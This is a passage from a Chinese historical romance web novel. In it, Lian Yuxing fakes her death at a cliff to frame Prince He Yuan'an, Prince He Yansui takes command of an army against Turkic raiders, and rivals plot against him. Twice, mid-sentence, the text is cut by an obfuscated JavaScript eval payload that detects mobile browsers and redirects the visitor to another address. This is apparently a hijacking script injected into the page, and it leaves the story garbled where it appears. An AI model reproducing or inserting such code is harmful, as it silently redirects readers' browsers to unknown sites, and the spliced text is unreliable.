身后仍旧跟着芜阁的护卫,莲玉荇停下脚步,挥挥手,示意他们各自散了,不用再跟着她。 天上又下起了雨,莲玉荇不管不顾地走着,所幸京都晚上没什么人,不然莲玉荇肯定会被人认出来,抓到大理寺去。 走了几步,莲玉荇突然停在雨中不动了,呆愣愣地站着,心里五味杂陈。 雾气迷蒙,雨幕氤氲,远远地能看到一道人影,身姿挺拔如松如竹,撑着伞一步步靠近。 两人之间的距离越来越近,贺砚随缓步而来,落脚之处溅起一道道水洼,不轻不重像是踩在莲玉荇的心上。 贺砚随在莲玉荇跟前停下,手上的伞撑在头顶,遮挡住纷纷而下的雨滴,肩膀处被雨水浸湿了。 莲玉荇慢慢抬头看,从下巴一路往上,直到对上贺砚随温柔沉静的双眼,刻意压抑的委屈一时间迸发,红了眼眶。 “贺砚随,我没有家了。”莲玉荇闷声道,倏然往前伸手抱住了贺砚随。 贺砚随忽然被抱住,手上的伞差点没拿稳,心也猛地一颤。他隐约猜到莲玉荇刚才去哪儿,不过他没问莲玉荇先前发生的事情,更没问她为什么这么说。 另一只 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贺砚随手上的动作微顿,很快恢复平常,随意道:“他小时候就这样。” 见贺砚随表情有些僵硬,莲玉荇没有再继续这个话题,安静下来。 “好了。”少顷,贺砚随停下动作,神色自然地将鞋袜穿回去,若是莲玉荇仔细看,就能发现贺砚随耳后通红一片。 “你耳朵怎么红了?是不是染了风寒?”莲玉荇确实注意到了,略显惊讶,指着贺砚随的耳朵问道。 贺砚随身子一僵,“没什么。”莲玉荇将信将疑,收回了视线。 贺砚随很快转移了话题,对莲玉荇说:“最近京都不安定,边境的突厥部落也不安分,隐隐有了动乱,朝堂上下都在讨论这件事,我想趁这个机会将你送出城去。” “这么着急吗?”莲玉荇看上去有些犹豫,贺砚随 猜到她去看了莲丞相和莲夫人,舍不得他们,安慰道:“大理寺的人到处在抓你,留在京都处处受限,不如离开京都,到河西区找你阿兄,事事有商有量。” 莲玉荇沉默半晌,抬起头看向贺砚随,眼底充满问询。 “不用担心,边境的动乱需要人来平定,我会跟你一起前往边境。”贺砚随淡淡道。 莲玉荇思来想去,觉得这是这个逃离京都的好主意,点头答应了。 莲玉荇:“离开京都之前,我还有一件事要做。” 贺砚随问:“需要我帮忙吗?” 莲玉荇点点头,提笔写下一封书信,交到贺砚随手上—— “我要见贺沅安。” ** 皇宫某处宫殿。 宫女们正细心打扫着宫殿里的灰尘,低眉敛目,恨不得将自己的存在感放到最低,生怕被主子注意到。 宫殿内室里,温贵妃媚眼如丝,饶有兴致地盯着面前的贺凭舟,红唇轻启,“莲丞相已经入狱几天了,听说昨日有人私闯大理寺,闹了不小的动静。本宫知道你一向不喜欢莲丞相,不如趁着这个机会,将莲丞相给……” “不妥。”贺凭舟眼神微动,制止了温贵妃的想法。“现在还不是时候,虽证据确凿,但莲丞相拒不认罪,昭文帝便仍然有所顾忌,若是我们此时动手,反而惹人怀疑。” 温贵妃哼声,她对丞相府的人一向没什么好观感。 先是莲玉荇在常安侯府中的赏花宴报官抓温叙,再是在避暑行宫之时,因为莲玉荇导致她中毒,让她修养了整整三个月。 哪一件都够温贵妃恨透了丞相府。 贺凭舟察觉到温贵妃的情绪变化,温柔地牵起她的手,勾起唇角劝慰道:“别生气了,只要莲丞相一日还在地牢里,我们便有机会杀了他们,来日方长。” 温贵妃闻言笑了起来,施施然起身,然后坐到了贺凭舟身上,涂着丹蔻的手指在贺凭舟挺括的胸口轻轻滑动,犹如隔靴搔痒。 贺凭舟眯起眼睛,眼角绽开细纹,不过仍俊美无双,看得温贵妃心头一热,登时伸手抱住了贺凭舟。 “你说得对,来日方长。”温贵妃温热的吐息落在贺凭舟耳边,他低声回应着温贵妃。 而在温贵妃看不到的地方,贺凭舟眼底闪过一丝隐秘的厌恶。 33. 受伤 一辆朴素的马车停在端王府门口,片刻后莲玉荇和贺砚随一前一后走了出来,停在马车附近。 “阿荇,我已经安排妥当,今夜之后你便离开京都。”贺砚随眉眼深沉,贪恋一般盯着莲玉荇的脸。 贺砚随:“我让迎月跟在你身边保护着,万事小心。至于你说的那件事,我差人将信送到了贺沅安手上,至于他会不会来……” “无碍,你身边才是危机四伏,便叫迎月跟着你吧。”莲玉荇浅笑,“我猜贺沅安肯定会来见我的,就算他不来,我也有办法在离开京都前给他添点麻烦。” “我身边有很多暗卫跟着,迎月身手不错,跟在你身边更合适。”贺砚随不容拒绝地说道。 和贺沅安打过这么多次交道,隐约对贺沅安的脾性有所了解。他以玩弄他人为乐,定然是要来看看她的狼狈模样。 莲玉荇轻笑。 上了马车,莲玉荇掀开帘子,斜探出头来看,朝贺砚随笑着挥手,“快回去吧,我在城外等你。” 贺砚随目送马车离去,转身回了王府,召下人来沐浴更衣。 他还有一场硬战要打。贺砚随眼底情绪翻涌,最终趋于幽深。 ** “主子,外面有人送来书信,指名道姓要送到您手上,让您亲自打开。”侍卫恭敬地呈上书信。 贺沅安原本正处理着积压的公文,接过之后扫了几眼信件,忽然笑开了,眼里兴致不减,“有意思。” 莲玉荇是大理寺张榜通缉的犯人,不夹着脑袋躲远点,反倒大张旗鼓给他送信,邀他在城外相见。 真是胆大。 想必莲玉荇已经察觉到莲丞相下狱、丞相府被抄家和他有关系,所以才冒险来见他。 贺沅安若有所思,他有点好奇莲玉荇看到他的反应,是冷着脸皱眉质问他,还是想杀了他? …… 半个时辰后,贺沅安如约出现在京都郊外树林里,身后还跟着许久未出现的眠霜。 贺沅安出门时,不知道脑子里哪根筋搭错了,不要暗卫随身保护,却带上了之前刺杀过自己的眠霜。 大概是追求刺激,被换下来的暗卫不懂。 眠霜也不懂,但毕竟这是贺沅安第一次放她出门,难得有机会出来走走。 她步履沉稳跟在贺沅安的身后,始终保持着不远不近的距离。 “跟上。”贺沅安仿佛知道她的小心思,停住脚步等她跟上。 眠霜眉心一跳,抬脚走上前去,走到贺沅安身边。 贺沅安他们如约而至,莲玉荇却不见了踪影,树林里鸟雀争鸣,风声猎猎,吹起暗纹衣裳下摆。 这个地方实在熟悉,贺沅安忽然想起了一件事。 在拿到燕州太守通敌叛国的证据之后,他便是邀莲玉荇在这个地方相见,告知她此事。 就此将莲玉荇引入棋局之中。 那时他姗姗来迟,将莲玉荇晾在原地,掌握主导局面。如今局势全然逆转,莲玉荇是在效仿他的举动,意在威慑。 “呵……”贺沅安哼笑,大概没想到莲玉荇会这么做,心道这女子真是睚眦必报。 周边寂静无声,唯有风声刮过,卷起地上的枯黄落叶飘摇着飞向远处。 眠霜站在贺沅安身边,发觉贺沅安的脸色有些不对劲,稍稍往后退了一点。 贺沅安淡淡道:“出来吧莲玉荇,你若是还像个缩头乌龟一样躲着,浪费本王的时间,本王也没必要和你耗下去,这便走了。” 树林里传出细微的声音,像是在回应贺沅安的话。 贺沅安眼眸微动,拔步走入树林里,身后的眠霜犹豫片刻也跟了上去。 穿过密林,眼前赫然是宽广陡峭的悬崖,莲玉荇懒散地坐在崖边的石头上,神色淡然如水,似乎感觉不到身后就是悬崖。 听到动静,莲玉荇抬起头来,锐利的眼神落在贺沅安身上,往他身后一掠又收回。 “我还以为景王殿下不会来呢,现在出现在这儿,还真让我意外。”莲玉荇缓缓站起身,眼尾带笑,笑意却没有深入眼底,十分淡漠疏离。 贺沅安背着手,淡笑道:“莲姑娘不顾安危都要见本王一面,本王不来怎么行。不过,莲姑娘就不怕本王将你的行踪告知大理寺么?” “贺砚随平日里不是心系于你,看得紧,怎么会让你孤身一人来见本王?”贺沅安淡淡开口,状似无意。 莲玉荇眸光微闪,她知道贺沅安并没有接触大理寺,要是大理寺的人来了,贺沅安便不好看戏了。 让她没想到的是,贺沅安还真是时刻抓住机会挑拨她和贺砚随的关系。 不过她毫不在意,就算贺沅安告知大理寺,他们也抓不到她。 她会让贺沅安付出代价。 “景王殿下想如何便如何,想告诉谁便告诉谁。”莲玉荇撇过脸,冷声道:“正如不久前景王殿下在此地将燕州太守通敌叛国一事告诉我,转头又设局陷害丞相府一般。” 莲玉荇言语直白,语气里的厌恶丝毫不加掩饰,几乎化为实质,往贺沅安身上唰唰扎去。 贺沅安挑眉不语。 莲玉荇问:“我父亲的私印是不是在你手里?是不是你用私印坐实丞相府通敌叛国的罪名?” 提到私印,贺沅安没开口,身后的眠霜不自觉动了动,眼神微妙。 “……”贺沅安终于开口,语速稍快,“莲姑娘想象力是否太多丰富了,本王只是将自己所知道的悉数告知与你。你不感激便罢了,怎么还倒打一耙,诬陷于本王?至于莲丞相的私印,本王从未见过。” 莲玉荇:“你还不承认!” 怎么会这么巧?贺沅安前脚告知她燕州太守通敌叛国之事,后脚莲丞相的私印被偷,坐实了丞相府勾结突厥叛国的事实。 就算私印不在贺沅安手里,也绝对与他脱不了干系! 一时间气氛剑拔弩张,莲玉荇怒目而视,贺沅安不动声色,袖子里的手悄然捏紧。 贺沅安突然笑开来,看向莲玉荇的目光深邃:“莲姑娘如此疾言厉色,步步紧逼,难道是想从本王口里套话吗?” “本王确实知道一些实情。”贺沅安缓了语气,嘴角噙着笑意,“但本王不是圣人,莲姑娘想知道什么,可以拿自己的东西来换。” 贺沅安又道:“又或者,你站到本王这边,本王可以帮你照顾丞相府众人。” 他对莲玉荇没有什么仇恨之意,怪只怪她执意和贺砚随一起,给他添堵。 此女聪慧,若是能与贺砚随割席,为他所用,也算是锦上添花。 莲玉荇心道果然,轻蔑地看着他,“贺沅安,你不仅无耻,还有点异想天开,赶紧回去请大夫治治,免得耽误了。” 本就是他陷害丞相府,丞相府众人因他下狱,如今又来假惺惺。 贺沅安竟然还敢跟她谈条件,莲玉荇压住心底的怒火,让自己保持冷静。 贺沅安脸色变了又变,似乎勉强才压下心中怒意,扯了扯嘴角。 伶牙俐齿。 莲玉荇心想,这就忍不了了,待会儿有你好受的。 她作思索状,仿佛是觉得贺沅安一番话有道理,神情也松动了不少。 这是被他说动了?贺沅安心道,眼底闪过一丝难以察觉的笑意。 “莲姑娘,想好了吗?” 片刻后,莲玉松了口,唇齿微张,“景王殿下不妨上前一点,我有话想对你说。” “有话直说便可。”莲玉荇这是想做什么,贺沅安不禁想,难道是想杀了他? 莲玉荇摊手,“那好。” 她将手伸进袖子里摸索着,贺沅安瞬间变得警惕,紧紧盯着莲玉荇的手。 眠霜发觉不对,赶紧挡到贺沅安面前,“莲姑娘冷静!杀了景王殿下,你也逃不掉的!” 眠霜的突然举动让贺沅安愣了片刻,随后一把将她推开,道:“一边待着去,别添乱。” “诶……?!”贺沅安用的气力极大,将眠霜推出几步远,眠霜踉跄着稳住身形,十分不爽,低声嘀咕,“要不是为了任务,谁愿意替你挡刀。” “谁说我要杀了他。”莲玉荇一时无言,眼神复杂地看向贺沅安身后的眠霜,她将手上的东西展开。 “这是丞相府几十年苦心经营的情报网,我知道景王殿下想要,若是你同意护丞相府众人周全,我便把东西给你。”莲玉荇握着卷轴往前一递,示意贺沅安自己过来拿。 贺沅安脚步动了动,眼神晦暗,丞相府遭难之后,情报网便隐匿暗处,各方势力都在找这条线。 “只要莲姑娘愿意,本王会护住丞相府众人。”贺沅安神情坚定,承诺莲玉荇。 说完,贺沅安便迈步往前走,眠霜都来不及阻止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430468|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快贺沅安便到了莲玉荇身前站定,伸出手,“拿来吧莲姑娘。” 莲玉荇松手,卷轴直直往地上坠去,贺沅安伸手去接。 而后凛冽的寒光迎面而来,贺沅安下意识眯了眯眼睛,下一刻发现莲玉荇挥着匕首,朝他的心口扎去。 贺沅安眼神一凛,偏头躲过锋利的匕首,站稳后利落地反击。 因为男子和女子的体型差异,再加上贺沅安不再保留实力,招式狠厉,步步紧逼,莲玉荇已然力不从心,一不留神差点被贺沅安擒住。 两人你来我往,打得难舍难分,不远处人影攒动,是大理寺的人往这边赶。 莲玉荇一时失神被贺沅安夺取匕首,原本刺向贺沅安的匕首顷刻间调转方向,朝莲玉荇刺来。 突然,莲玉荇面露锋芒,意味不明地看向贺沅安。 下一瞬,莲玉荇肩膀处多了一个深可见骨的伤口,登时闷哼一声。 由于两人靠近悬崖边,莲玉荇没再反抗,在贺沅安耳边留下一句话,脱力一般飞向悬崖。 清澈明亮的瞳孔倒映出贺沅安惊讶的神色,莲玉荇心里却松了一口气,闭上了眼睛。 …… “景王殿下!” “没事吧!” “莲玉荇方才是被景王殿下打落悬崖了吗?” 大理寺的人纷纷涌了上来,有的关心贺沅安的情况,有的趴在悬崖边观察情况,面带愁容。 照这个高度,莲玉荇八成是死透了。可是陛下并没有下令处置丞相府一干人等,燕州那伙叛国者也还没有抓到,莲玉荇就这么死了,要是让莲丞相知道了可不得了。 这可如何是好啊。 贺沅安愣在原地,没管乱做一团的大理寺官员,征征看着莲玉荇先前跌落的地方,脸上罕见地浮现不知所措,不过很快便恢复如常。 良久,贺沅安疲倦地闭了闭眼,复而睁开,终于意识到—— 他被莲玉荇摆了一道! 贺沅安根本没有将莲玉荇的行踪告知大理寺,而大理寺的人却刚好在莲玉荇坠崖之时出现,目睹了整个过程。 那大理寺的人或许根本就是莲玉荇自己找来的。 莲玉荇身死脱身,贺沅安却要承担燕州通敌叛国者之后动作的责任。 还有更多不可预料之事。 贺沅安眼底漆黑,逐渐意识到这趟浑水他可能真的出不去了。 ** 密密麻麻的藤蔓遮掩下,莲玉荇一手抓着粗壮藤蔓,悬挂在悬崖之上,手臂颤抖不已。 肩头的血不断往外流,带走身体内的力量和体温,崖顶的嘈杂声音逐渐消失,莲玉荇恍然睁眼,才发现自己快撑不住了。 还是太冒险了。莲玉荇心想,当务之急是得找了落脚的地方。 莲玉荇低头四处搜寻,终于在意识模糊不清之前找到一个栖身之地。 来之前她让迎月在另一处接应她,后来她临时改变了计划,只有这样,才能让贺沅安脱不开身。 没想到这个安排却坑害了她自己,如今她被困在悬崖之上,不知如何脱身,还真是杀敌一千,自损八百。 莲玉荇费力地扯出一抹笑,接着用尽全身力气,将自己荡出去,却因为力度不够径直坠落悬崖。 一瞬间天旋地转,莲玉荇被人揽在怀里,熟悉的菖蒲香气让莲玉荇心安。 “贺砚随……你不是上朝去了,怎么在这儿?”血被止住了,莲玉荇剧烈喘息着,勉强挤出一抹笑意来。 贺砚随抱着她,眉头紧皱,“才几个时辰不见,你便把自己搞成这个样子,还是太纵容你,才让你丝毫不顾及自己的身体。” “我会心疼。”贺砚随声音低沉沙哑,莲玉荇以为自己听错了,贺砚随竟然会有这么脆弱的时候。 她勉力握住了贺砚随的手,道:“贺沅安处心积虑,若是我就这么离开京都,任由贺沅安潇洒威风,心里总是不得劲。” 语气微顿,“方才在场的人都亲眼见到贺沅安将我打落悬崖,也证明贺沅安是为了得到丞相府情报网对我痛下杀手,背后之人也会对贺沅安怀疑猜忌。往后他的日子不会好过。” 莲玉荇缓过来不少,心情颇好地把玩着贺砚随的头发,“你既然到了城外,那事情已经谈妥了?” “嗯。”贺砚随垂头看她,手掌搂住她的肩膀,脚下一蹬,飞身下了悬崖。 34. 出征 三个时辰前—— 宣政殿大殿之中,气氛沉重肃穆,昭文帝高坐明堂,扫视着边关八百里加急送来的急报,眉宇越压越紧,文武百官眼观鼻鼻观心,垂手而立,没人敢吱声。 贺砚随绛紫色官服加身,挺直脊背站在大殿左侧,神情自若,暗自将在场之人不断变换的脸色收进眼底。 “砰——”一声响起,文武百官瞬间惊恐地跪倒在地,不知道昭文帝为什么突然发这么大的火气。 “陛下息怒!”“陛下息怒!” 贺砚随不动声色地垂下眼,避开昭文帝自上而下射过来的探究视线。 昭文帝伸手将奏折抛了出去,啪的一声落在地上,脸色难看至极,“突厥士兵越过边境,在河西郡、燕州地界烧杀抢掠半月有余,边关守卫松懈至极,而急报竟然今日才到达京都,呈到朕的书案上来!” 昭文帝脸色变来变去,眼神晦暗不清,突厥实在胆大妄为。 昨夜昭文帝接到密报,突厥士兵趁边界守卫松懈,已经派人潜入燕州内部了。 莲蘅伙同燕州太守通敌叛国之事还未解决,贼人也还没有悉数捉拿,突厥便按捺不住进犯大晋朝的国土。 一切环环相扣,像是刻意安排好的。若是不赶紧出兵镇压,边关两城不日便将易主! 而河西郡和燕州是大晋朝的边关要塞,如若两城被突厥攻破,突厥便可以一路无阻,深入大晋朝腹地,直逼京都! 昭文帝越想越后怕,一时间气急攻心,止不住地咳嗽起来,脸色铁青,半晌都说不出话,实在是气急了。 见昭文帝暴怒,官员们胆战心惊,哪敢说话,一个个闭紧了嘴。 方才昭文帝扔下的奏折刚好落在贺砚随脚边,他垂眼看去,然后弯腰拾起,随意瞥了几眼 贺砚随:“回陛下,先前的河西郡守是丞相府长子莲玉荇,大理寺的捉拿公文还未送到河西,莲玉鹤便已经不见踪影,燕州太守也闻风而逃,两城一时间没人管辖,便乱了。而新任命的河西郡守、燕州郡守都还在赴任的路上。” 贺砚随拱手行礼,淡淡道:“河西郡和燕州山高路远,消息滞后实属正常,还请陛下保重身体。眼下耽误之急,是要赶紧派兵镇压突厥贼人,守住边关重地。” 许久,昭文帝终于缓过气来,看向大殿内的众人,威严道:“端王说得是,那诸位爱卿可有出征边关的人选?” “这……”大部分官员不敢进言,受不住昭文帝的眼神扫视,低下了头。 十多年来,大晋朝日益鼎盛,与突厥各个部落井水不犯河水,经常互通有无,也算是和平安定。 因为没有什么战乱争斗,大晋朝疏于军队训练培养,反而倾向于文官选拔,至今没有出现一两个出类拔萃的将才。 偌大的晋朝,在此危急存亡的时刻,竟然没有一个可用之才。 昭文帝显然也想到了这一点,胸口剧烈起伏着,手掌用力握住龙椅,仿佛下一刻就要撅过去了。 他不禁想,大晋朝难道就要葬在他手里了吗? 昭文帝眼神一变。 下一瞬,一道清冽稳重的声音传遍整个大殿。 “儿臣愿领兵出征,为陛下分忧!”贺砚随掀开衣摆,跪地叩首,振声说话,一时间众大臣震惊地投来视线,连角落处站着的贺凭舟都看了过来。 贺凭舟眼神微动,而后,反对辩驳之声接踵而来。 “不妥!” “端王殿下有心是好事,可战场刀剑无眼,端王殿下没有带兵打战的经验,战场可不比纸上谈兵。” “是啊是啊,还请陛下三思啊。” …… 先前鸦雀无声的朝堂此刻又热闹起来,一众大臣七嘴八舌说着自己的理由,仿佛由贺砚随带兵打仗必定会输的模样。 “行了。”昭文帝皱着眉头,叫停了众大臣,“端王先起来吧,你且向诸位爱卿说说你的看法。” 贺砚随遵命起身,侧过身看向方才反对得最厉害的大臣,浅笑道:“何大人为何觉得本王不能胜任?是因为本王年纪轻轻没有经验,还是内有私心!” 贺砚随的语气突然加重,眼尾透着锋芒锐利,直直刺向何大人。 “自古英雄出少年,少年将军不都是年少征战,才赢得美名功绩。”贺砚随反唇相讥,“本王请求出征,不为功名利禄,只为守住大晋朝江山,护大晋朝百姓安定。” “何大人处处阻拦,居心何在!”贺砚随挑眉,冷淡的眼神一闪而过,朝昭文帝行礼,“儿臣一片赤诚之心,还请陛下明鉴!” “……”何大人被贺砚随一番话堵得哑口无言,良久才憋出一句,“简直是信口雌黄!” 何大人还想说什么,被昭文帝一句“行了”堵得不上不下,嘴里的话滚了又滚,最后憋屈地咽了下去,略显不服气。 “方才你们没人愿意站出来想办法,端王自请出征,你们倒是有话说了。”昭文帝冷哼一声。 昭文帝怎会不知道这群大臣的心思,当即拍板定下,“传朕的旨意,封端王贺砚随为定远大将军,领兵平定突厥!” 文武百官哗啦啦跪下,贺砚随掀开衣摆跪下,接过圣旨和虎符。 虎符在手,就算大臣们如何反对,也不能阻止贺砚随带兵出征了。 “谢陛下恩典!儿臣定不负陛下所托!”贺砚随将虎符双手举过头顶,叩头谢恩。 昭文帝面庞缓和下来,站起身来,亲自扶起贺砚随,温和开口:“局势刻不容缓,你现在便去军营点兵吧。” “儿臣遵命。”贺砚随恭敬道。 何大人看向角落,只见贺凭舟摇摇头,只能作罢。 一个时辰后,大军陈兵城门外,浩浩荡荡,气势磅礴,带着势如破竹的气势。 贺砚随换了官服,穿上了银光夺目的盔甲,眼神坚毅地看向前方。 军旗猎猎随风飘扬,贺砚随牵动马绳,挥了挥手,“大军开拔!” 数十万大军即刻动身,带起阵阵烟尘,场面蔚为壮观。 城楼之上,,昭文帝和一众文武百官站在城墙边,时刻关注着大军的动静。 大军开拔之时,昭文帝拂开搀扶着的太监,往前走了两步远远眺望着大军离开的方向。 昭文帝一眼就看到浩浩大军中的贺砚随,身姿卓然不群,不知道从何时开始,在冷宫外鲁莽冲撞他的小童,如今也能独当一面了。 他叹了口气。 …… 大军队列之中不知何时多了一辆朴素的马车,马车轮子咕噜噜翻滚前进。 “昭文帝就这么轻易将虎符交到你手里了?” 马车内,一道略带惊讶之意地女声传出,赫然是先前和贺砚随待在悬崖之上的莲玉荇。 莲玉荇不敢相信,朝堂上诸方势力都在阻止,不只是因为贺沅安年纪尚轻,没有作战经验。 更重要的是,如今大晋朝时局动荡,内忧外患,倘若贺砚随领兵出征,手上自然就有了兵权,这对其他皇子百害而无一利。 贺砚随淡然承认:“朝堂上没有派得出的将军,皇帝年纪大了,不可能御驾亲征,心急如焚。有人愿意站出来带兵出征,他自然求之不得。” 朝臣们不愿兵权旁落他手,但也不愿意去危险的战场,贺砚随拿捏了他们的心理,再利用昭文帝的焦急,这才能成功拿到兵权,统领军队。 只是朝臣们不知道的是,贺砚随早在三天前就已经收到突厥进犯的消息,派了手下人先行前往边关查看情况—— 突厥士兵确实已经进入河西郡和燕州两城,但局势尚且稳定,突厥只在一些地方作乱,还没有进一步的动作。 边关来信上写得十分严重,其实是贺砚随从中运作了一番。 为的是让昭文帝尽快同意出兵。 贺砚随眸光微闪,藏住深埋心底的算计。 边关的人传来密报,消失已久的钱敏有了踪迹,近日出没在河西郡和燕州两地,具体落脚之地还未查清楚。 先前消失得无影无踪,如今又出现了,贺砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430469|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随不由得想,是否太过巧合了? 加上丞相府遭逢危难,越发让贺砚随觉得,决不能再被人牵着鼻子走,是时候把主动权拿回手里。 所以他出动出击,拿到兵权顺利出征边关,既可以把莲玉荇安全送出京都,又可以引出幕后主使。 此番举动肯定打乱了幕后主使的周密计划,说不定他们会狗急跳墙,主动露出马脚。 “贺砚随?贺砚随!”莲玉荇的声音在耳边响起,贺砚随霎时间回神,看向莲玉荇,接着把她乱动的手捏在手里,“别乱动,小心扯到肩膀上的伤口。” 莲玉荇不自在,犹豫了许久还是没抽出手,问:“你刚才在想什么呢?” “我在想,我此行这么顺利,多亏了有你牵绊住贺沅安。”贺砚随眉眼带笑说道。 提起贺沅安,莲玉荇看起来有些兴奋,扯了扯嘴角:“贺沅安之前算计了我们这么久,也该让他尝尝苦头,不枉我自导自演了这么一番大戏。” 还敢说?贺砚随斜睨了她一眼,“边关路途遥远,你且睡一会儿,养足精神,到时候我送你一件礼物。” 莲玉荇心虚地别过头,听见贺砚随的话,登时往后靠,脑袋“咚”地一声撞上了,却没有痛感传来,她回头一看,是贺砚随将手垫在了她的脑袋上。 贺砚随脸色未变,自然地将手收回来,“睡吧。” “……”莲玉荇心知肚明,听话地闭上了眼睛,在心里悄悄笑了出来。 ** 自城门口送贺砚随出征之后,各方便不大安定,蠢蠢欲动,都被贺凭舟压了下来。 先前在朝堂上据理力争的大臣们,此刻站在八王府的厅堂里,满面愁容。 贺凭舟高坐堂前,拨弄着手上的茶盏,神色淡然。 何大人:“王爷,方才在大殿之上,您为何阻止臣继续说下去?贺砚随掌握了兵权,倘若今后战事平定,他不愿交出兵权……” “是啊,贺砚随平日里就在皇帝面前大出风头,不论是行宫护驾,还是淮安县私盐案,都为他俘获了不少民心。”一位大臣道。 “边关战事吃紧,贺砚随能不能平定也是一回事,诸位没必要那么着急。”另一位大臣反驳道。 “陛下身子一天不比一天,诸位不妨换个思路。”穿着黑袍的男子走上前来,看不清面容,声音倒是让在场的大臣觉得耳熟。 黑袍男子道:“我们可以这样……” 窗外忽地掠起一阵风,烛火将灭未灭,一下子又蹿了起来,烧得旺盛灼热。 “就按你们的主意去办。”贺凭舟掀起眼皮,看上去慵懒又倦怠,眼底漆黑,藏着腥风血雨。 “贺砚随那边,本王已经派人去盯着,既然他存心与本王作对,那本王也没必要留着他添堵,便叫他有去无回。” 贺凭舟语气分外平淡,说出的话却十分狠辣,大臣们不自觉打了个寒颤。 贺凭舟似乎对一切无知无觉,自顾自说着,“对了,景王最近似乎不太安分,本王想想要怎么办才好。” 前去监视的暗卫来报,贺沅安私会罪臣之女莲玉荇,并伺机逼问莲玉荇丞相府情报网的下落。 莲玉荇不从,贺沅安便恼羞成怒将莲玉荇打落悬崖,被大理寺众人瞧见的当时的情况。 当时他随意挑拨几句,贺沅安便同意对付贺砚随,贺凭舟就知道贺沅安这人做事全凭喜恶,答应他想必也是觉得有趣,不会轻易为人所控。 贺凭舟双眼微闭,不管暗卫所说是否属实,贺沅安不受控制,确实是个变数。 “依王爷之见,”何大人眼珠一转,适时递上话头:“要不要臣派人去将景王给解决了?” 贺凭舟忽地睁开眼睛,似乎是想到什么,露出一丝微妙的笑意。 “先敲打一番,目前看来贺沅安并没有明晃晃的野心,想来暂时不会和我们作对。”贺凭舟转过头吩咐他们,“不过贺砚随颇有心机,是个难对付的角色,先解决他。” “是!”众大臣拱手,齐齐应声。 35. 断绝 贺沅安不知道自己已经被人盯上了,此刻正在书房里埋头处理公务。 毛笔在砚台里沾了沾,贺沅准备继续写,却发现砚台早已干了,蘸不到墨,自然也写不出了。 “……”贺沅安愣了片刻,抬眼看向不远处,被他叫来服侍的女子,百无聊赖一般,有一搭没一搭地揪着旁边的翠绿树叶,好好的树很快变了一个模样。 “咳……”贺沅安握着拳,掩唇低声咳嗽,要是再不阻止,这棵树怕是保不住了。 眠霜听到动静,回过神来,抬脚上前,道:“王爷有何吩咐?” 最近这段时间贺沅安一直称病告假没去上朝,不过公务倒是按时处理,还兴致勃然地让眠霜近身伺候。 先前眠霜心有不忿,不满贺沅安将她一个宁津堂的杀手,当做丫鬟使唤,心想他倒是不怕她抓到机会杀了他! 渐渐地眠霜释然了,堂主的吩咐是监视贺沅安的一举一动,近身伺候可以让她近距离观察贺沅安,说不定可以探听到什么机密。 想通之后,以至于现在眠霜做起这些杂乱的活计来,也算是得心应手。 她时不时将贺沅安的行踪和探查到的消息传到宁津堂,询问自己何时能会到堂中,不过堂中之人只让她继续盯着贺沅安,没有接下来的指示。 眠霜不着痕迹地叹了口气,不知这日子什么时候是个头。 贺沅安瞥了她一眼,淡淡道:“研磨。” 杀人的活计做不来,就连伺候人也不会,还要等人催促。贺沅安不禁怀疑,宁津堂到底是因为什么,才将眠霜召进去做杀手。 眠霜心里骂声连天,面上不动声色,听话地走上前,不断地研磨着砚台,动作间发出轻微的响声,在书房内清晰可闻。 两人之间的距离极近,贺沅安端坐在书桌前,眠霜则是站在他的边上,咫尺之间两人呼吸交错,似乎还带着一股若有若无的香气。 不知为何,贺沅安竟然感觉有些不自在,身子也僵硬了几分,不过没多久便恢复如常。 贺沅安想,应该是他近来忙于公务,颇觉疲累,应该是这样。 那今日便早些休息吧。贺沅安在心里说道,但是鼻尖仍然萦绕着那股香气。 贺沅安忽地将手中的毛笔扔到桌上,,支着身子往后靠过去,呼吸有些不稳。 眠霜停下手里的动作,不明所以地看向他,眼神里充满了不解和询问。 “本王要沐浴,你且先行下去准备。”贺沅安平心静气吩咐道。 “……什么?!”眠霜顿时愕然看向贺沅安,平日里使唤她做一些粗使活计就罢了,现下竟然还让她伺候沐浴。 贺沅安淡淡开口:“有什么问题吗?不过是让你给本王准备个洗澡水,便如此纠结,又不是让你去杀人。” 虽然她连贺沅安自己都杀不掉。 眠霜接收到贺沅安的眼神,喉咙里的话落到舌尖,翻转了几番,又被眠霜咽了回去。 她眼神复杂,纠结着到底要不要去做,待会儿贺沅安不会还要让她宽衣解带吧?不过她最终还是应下,退下去准备了。 贺沅安眯着眼睛看她离去的背影,突然勾起唇角,偶尔逗弄一下这个不怀好心的杀手,也挺有意思的。 可方才心跳变快,不像是逗弄人的心思。贺沅安眸光沉沉,仿佛是不想承认。 …… 卧房里烟气袅袅,热气蒸腾而上,眠霜将最后一桶水倒进浴桶里,擦了擦额头的汗。 她绕过屏风,发现贺沅安正在在宽衣,呼吸一滞,不自然地别开眼,正准备离开,却被贺沅安叫住。 “本王尚未沐浴,你不在一旁服侍,干嘛去?” 眠霜忍了又忍,横眉冷对,咬着牙一字一句往外吐,“贺沅安你别欺人太甚!” 她有理由怀疑,贺沅安因为玉佩之事,一直对她怀恨在心,处处使唤她解气。 “这就忍不了了?”贺沅安嗤笑,“既然忍不了还不赶紧收拾收拾滚出景王府,本王身上有什么值钱的东西吗,能让你这么抓着不放。” 